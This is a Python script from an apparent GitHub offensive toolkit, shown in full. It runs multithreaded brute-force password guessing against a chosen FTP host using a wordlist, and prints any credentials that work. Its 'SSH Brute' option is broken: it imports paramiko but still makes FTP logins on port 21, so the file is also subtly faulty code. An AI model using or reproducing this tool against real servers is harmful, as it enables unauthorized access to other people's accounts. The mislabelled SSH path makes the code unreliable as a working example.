-
Notifications
You must be signed in to change notification settings - Fork 1
/
Broto_force_protcol.py
142 lines (95 loc) · 4.18 KB
/
Broto_force_protcol.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
from colored import fg, bg, attr
import colored
import socket as sock
from Modules import intro
import ftplib
from threading import Thread
import queue
import logging
import paramiko
logging.disable(logging.CRITICAL)
class Brute_Force:
global q
q = queue.Queue()
def __init__(self):
#self.q = queue.Queue()
self.angry1 = colored.fg("green") + colored.attr("bold")
self.angry2 = colored.fg("red") + colored.attr("bold")
self.angry = colored.fg("white") + colored.attr("bold")
print(f"""{self.angry1}
1 - FTP Brute
2 - SSH Brute
0 - back
""")
self.number = str(input("[?]>>"))
if self.number ==str(1) or "use ftp" in self.number :
self.host = str(input("HOST : "))
self.user = str(input("USER : "))
self.passwords = str(input("File : "))
self.passwords = open(self.passwords).read().split("\n")
self.threads = int(input("Threads : "))
print("[+] Passwords to try:", len(self.passwords))
for password in self.passwords:
q.put(password)
for t in range(self.threads):
self.thread = Thread(target=self.ftp_brute)
self.thread.daemon = True
self.thread.start()
if self.number ==str(2) or "use ssh" in self.number:
self.host = str(input("HOST : "))
self.user = str(input("USER : "))
self.passwords = str(input("File : "))
self.passwords = open(self.passwords).read().split("\n")
self.threads = int(input("Threads : "))
print("[+] Passwords to try:", len(self.passwords))
for password in self.passwords:
q.put(password)
for t in range(self.threads):
self.thread = Thread(target=self.ssh_brute)
self.thread.daemon = True
self.thread.start()
if self.number ==str(99) or "back" in self.number :
intro.main()
q.join()
def ftp_brute(self):
try :
while True :
password = q.get()
print(f"{self.angry2}[#] Trying",f"{self.user}:{password}")
try:
server = ftplib.FTP()
server.connect(self.host,port=21, timeout=5)
server.login(self.user, password)
except ftplib.error_perm:
pass
else:
print(f"{self.angry1}[+] Found Crack FTP: \n HOST : {self.host} \n Password : {password} {self.angry}")
with q.mutex:
q.queue.clear()
q.all_tasks_done.notify_all()
q.unfinished_tasks = 0
finally :
q.task_done()
except:
pass
def ssh_brute(self):
try :
while True :
password = q.get()
print(f"{self.angry2}[#] Trying",f"{self.user}:{password}")
try:
server = ftplib.FTP()
server.connect(self.host,port=21, timeout=5)
server.login(self.user, password)
except ftplib.error_perm:
pass
else:
print(f"{self.angry1}[+] Found Crack SSH: \n HOST : {self.host} \n Password : {password} {self.angry} ")
with q.mutex:
q.queue.clear()
q.all_tasks_done.notify_all()
q.unfinished_tasks = 0
finally :
q.task_done()
except :
pass